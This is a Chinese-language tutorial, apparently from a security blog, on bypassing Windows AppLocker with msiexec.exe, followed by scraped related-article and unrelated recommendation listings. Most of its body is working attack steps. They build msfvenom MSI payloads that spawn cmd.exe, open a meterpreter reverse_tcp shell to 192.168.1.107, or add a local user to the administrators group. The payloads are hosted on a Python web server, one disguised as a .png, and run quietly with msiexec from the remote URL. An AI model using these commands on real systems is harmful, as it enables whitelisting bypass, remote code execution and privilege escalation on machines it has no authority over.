0x00 前言

在我们之前的文章中,我们讨论了“Windows Applocker策略 - 初学者指南”,因为它们为应用程序控制策略定义了AppLocker规则,以及如何使用它们。但今天您将学习如何绕过AppLocker策略。在本文中,我们使用Windows AppLocker策略阻止了“cmd.exe”文件,并尝试绕过此限制以获得命令提示。

0x01 Applocker适用的关联文件格式

Windows AppLocker是在Windows 7和Windows Server 2008 R2中引入的一种安全策略,用于限制不需要的程序的使用。在这种情况下,管理员可以限制以下程序的执行:

这完全取决于系统管理员,为程序限制或执行设置AppLocker策略的程序或脚本。可能会出现命令提示符(cmd.exe)、PowerShell或dll文件或批处理文件、rundll32.exe、regsrv.32或regasm等被阻止的情况

0x02 挑战1:使用.msi文件绕过Applocker获取CMD

假设您处于类似的情况,所有上述应用程序都被阻止,并且只允许Windows Installer文件(即.msi扩展名)运行而不受任何限制。

那么,您将如何使用一个msi文件来绕过这些限制并获得一个完整的权限shell呢?

1.关于MSI文件的更多信息

MSI名称来自程序的原始标题Microsoft Installer。从那以后,名称改为Windows Installer。MSI文件扩展名文件是Windows软件包安装程序。安装程序包中包含Windows Installer安装或卸载应用程序所需的所有信息。每个安装包都包含一个.msi文件,其中包含安装数据库、摘要信息流和安装不同部分的数据流。

Windows Installer技术分为两部分,它们结合使用,包括客户端安装程序服务(msiexec.exe)和Microsoft软件安装(msi)包文件。Windows Installer使用包文件中包含的信息安装该程序。

msiexec.exe程序是Windows Installer的组件。当安装程序调用它时,msiexec.exe使用msi.dll读取包(.msi)文件,应用任何转换(.mst)文件,并合并安装程序提供的命令行选项。安装程序执行所有与安装相关的任务,包括将文件复制到硬盘、修改注册表、在桌面上创建快捷方式以及显示对话框,以便在必要时提示用户安装首选项。

在计算机上安装Windows Installer时,它会更改.msi文件的已注册文件类型,以便在双击.msi文件时,Msiexec.exe将与该文件一起运行。

每个MSI包文件都包含一个关系型数据库,该数据库存储在许多安装脚步中安装(和删除)程序所需的指令和数据。

2.获取CMD的多种方法

(1).第一种方法:使用msfvenom生成恶意.msi文件

现在,让我们在kali机器中打开一个新的终端,并生成一个恶意的msi包文件作为cmd.msi,通过使用windows/exec 执行exploit获得命令提示,如下所示:

  1. msfvenom -p windows/exec CMD=cmd.exe -f msi > cmd.msi
  2. python -m SimpleHTTPServer

现在在Windows计算机中传输cmd.msi文件,以获得命令提示符shell作为管理员。这里我们使用了python http服务器来共享网络中的文件。

在本地计算机上下载.msi文件后,可以使用以下语法在命令提示符下运行带有msiexec.exe的msi文件。

语法:msiexec /quiet /i

  1. msiexec /quiet /i C:\Users\raj\Desktop\cmd.msi

只要你在运行提示符中点击上述命令,就会得到命令提示符。

 

(2).第二种方法:使用msfvenom生成恶意.msi文件

注意:即使您在另一个扩展名中重命名cmd.msi文件,它也会绕过该规则。

重复以上步骤,生成一个与msfvenom具有相同payload、并命名为cmd.png的msi文件。因为我的kali中已经有了一个cmd.msi文件,所以我将它重命名为cmd.png,并使用python服务器来传输它

在本地计算机(管理员阻止cmd.exe的Windows操作系统)上下载cmd.png文件(实际上是.msi文件)后,就可以使用以下语法在运行提示符内使用msiexec.exe运行.msi文件。

语法: msiexec /q /i

  1. msiexec /q /i http://192.168.1.107/cmd.png

只要你在运行提示符中点击上述命令,就会得到命令提示符。

(3).第三种方法:使用msfvenom生成恶意.msi文件

在上述方法中,我们通过使用windows/exec payload获得命令提示符,但现在我们将使用windows/meterpreter/reverse_tcp payload通过meterpreter会话获得完全权限的命令shell。

  1. msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport= f msi > shell.msi

现在再次在Windows计算机中传输shell.msi文件,以获得命令提示符shell作为管理员并启动multi/handler。这里我们使用了python http服务器来共享网络中的文件。

在本地计算机上下载了shell.msi文件(管理员阻止了cmd.exe的Windows操作系统)后,可以使用以下语法在运行提示符内使用msiexec.exe运行.msi文件。

语法: msiexec /q /i

  1. msiexec /q /i http://192.168.1.107/shell.msi

只要您在运行提示符中点击上述命令,您将通过使用此payload的meterpreter会话获得命令提示。

  1. msf > use exploit/multi/handler
  2. msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
  3. msf exploit(handler) > set lhost 192.168.1.107
  4. msf exploit(handler) > set lport
  5. msf exploit(handler) > exploit
  6. meterpreter > shell

0x03 挑战2:使管理员组的本地用户成员

假设您处于类似的情况,所有上述应用程序都被阻止,并且只允许Windows Installer文件(即.msi扩展名)运行而不受任何限制。

那么如何使用MSI文件绕过这些限制,使管理员组的本地用户成员阻止cmd.exe运行?

注意:该aaru是本地用户帐户,不是非管理员用户帐户,如下所示:

我们知道由于applocker执行规则策略,cmd.exe在本地计算机上被阻止,因此我们无法使用命令提示符在管理员组中添加aaru。

(1).第四种方法:使用msfvenom生成恶意.msi文件

使用Windows/Exec payload生成MSI包作为admin.msi,该payload发送一条命令,指示将用户aaru的本地管理员权限添加到目标计算机中。

  1. msfvenom -p windows/exec CMD='net localgroup administrators aaru /add' -f msi > admin.msi

现在,在Windows计算机中传输admin.msi文件以将aaru添加到管理员组中。这里我们使用了python http服务器来共享网络中的文件。

下载完本地计算机的admin.msi文件(其中,admin阻止了cmd.exe的Windows操作系统)后,可以使用以下语法在运行提示符内运行带有msiexec.exe的admin.msi文件

语法:msiexec /q /i

  1. msiexec /q /i http://192.168.1.107/admin.msi

只要您在运行提示符中点击上述命令,就可以确保aaru用户已成为管理员帐户的一部分。

本文中我们将了解到,如何使用.msi文件来绕过操作系统策略限制而执行,在该系统中,cmd.exe和其他应用程序被管理员阻止。

参考文献:

https://support.microsoft.com/en-gb/help/310598/overview-of-the-windows-installer-technology

https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/

 
 
 
 

使用msiexec.exe绕过应用程序白名单(多种方法)的更多相关文章

  1. 使用mshta.exe绕过应用程序白名单(多种方法)

      0x00 简介 很长一段时间以来,HTA文件一直被web攻击或在野恶意软件下载程序用作恶意程序的一部分.HTA文件在网络安全领域内广为人知,从红队和蓝队的角度来看,它是绕过应用程序白名单有价值的“ ...

  2. 使用regsrv32.exe绕过应用程序白名单(多种方法)

    0x00 regsvr简介 regsvr32表示Microsoft注册服务.它是Windows的命令行实用工具.虽然regsvr32有时会导致问题出现,但它是Windows系统文件中的一个重要文件.该 ...

  3. 使用rundll32.exe绕过应用程序白名单(多种方法)

    0x00 前言 本文演示了白名单AppLocker bypass的最常见和最熟悉的技术.我们知道,出于安全原因,系统管理员添加组策略来限制本地用户的应用程序执行.在上一篇文章中,我们讨论了“ Wind ...

  4. 使用msbuild.exe绕过应用程序白名单(多种方法)

      一.MSbuild.exe简介 Microsoft Build Engine是一个用于构建应用程序的平台.此引擎也被称为msbuild,它为项目文件提供一个XML模式,该模式控制构建平台如何处理和 ...

  5. 使用wmic.exe绕过应用程序白名单(多种方法)

      一.Wmic.exe wmic实用程序是一款Microsoft工具,它提供一个wmi命令行界面,用于本地和远程计算机的各种管理功能,以及wmic查询,例如系统设置.停止进程和本地或远程运行脚本.因 ...

  6. 使用cmstp绕过应用程序白名单

    默认情况下,AppLocker允许在文件夹中执行二进制文件,这是可以绕过它的主要原因.已经发现,这样的二进制文件可以很容易地用于绕过AppLocker和UAC.与Microsoft相关的二进制文件之一 ...

  7. GreatSct -应用程序白名单bypass工具

      0x00 GreatSCT简介 GreatSCT目前得到了@ConsciousHacker的支持,该项目名为Great SCT(Great Scott).Great SCT是一个用于生成应用程序白 ...

  8. 项目适配iOS9遇到的一些问题及解决办法 ,以及URL 白名单配置方法

    1.网络请求报错.升级Xcode 7.0发现网络访问失败.输出错误信息 The resource could not be loaded because the App Transport Secur ...

  9. 将非官方扩展程序加入chrome的白名单

    参考来源:http://xclient.info/a/1ddd2a3a-d34b-b568-c0d0-c31a95f0b309.html com.google.Chrome.mobileconfig ...

随机推荐

  1. 32bit GM命令

    GM 命令[32位服务端GM命令] //announce message this basicly tells a announcement on the whole server.. you can ...

  2. IP地址相关知识

    IP地址基本概念                                                                                            ...

  3. python3 通过qq邮箱定时发送邮件

    下面的代码为了每天定时发送监控邮件,监控什么呢?监控当天redis队列中是否有没有消费的数据,和当天mysql中新增的数据量 # -*- coding:utf-8 -*- from common.re ...

  4. python将response中的cookies加入到header

    url = “http://abad.com”header = { "user-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64 ...

  5. js中使用对象注意

    var myObject = { hello: '你好', world : '世界' } 正常使用 myObject.hello   //输出你好 若引用的属性本身是一个变量: 需要用方括号使用 va ...

  6. spring boot之配置跨域

    在启动类中配置 @Bean public WebMvcConfigurer corsConfigurer() { return new WebMvcConfigurer() { @Override p ...

  7. 个人作业-Week 1

    1)快速看完整部教材,列出你仍然不懂的5到10个问题,发布在你的个人博客上. Q1:"Scrum Master不是一个官,而是一个没有行政权力的沟通者,就像微软的PM那样.他/她同时还要在团 ...

  8. Task 6.2站立会议三

    今天我完成了软件的主要聊天界面的视频通话和语音通话的部分功能,过程中遇到很多不会的知识.因为使用的是C#,虽然很容易上手但是还会存在很多不懂得内容.

  9. 《[C#] int与System.Int32有什么区别》

    最近园里的TeamOne写了一篇<[C#] int与System.Int32有什么区别>,发现里面有不少精彩的评论,所以忍不住想这篇文章总结一下:> 本文的主要参考资料: 1.< ...

  10. 第一次spring冲刺第3、4天

    11月14至15日 因为忙于项目的谈论与探究,以及周末的活动变动,使得博客没有时间提交上去,这里补交. 这两天,主要是应对于市场的探究做谈论,我们主要面对什么类型的客户,以及他们最需要的是什么等话题做 ...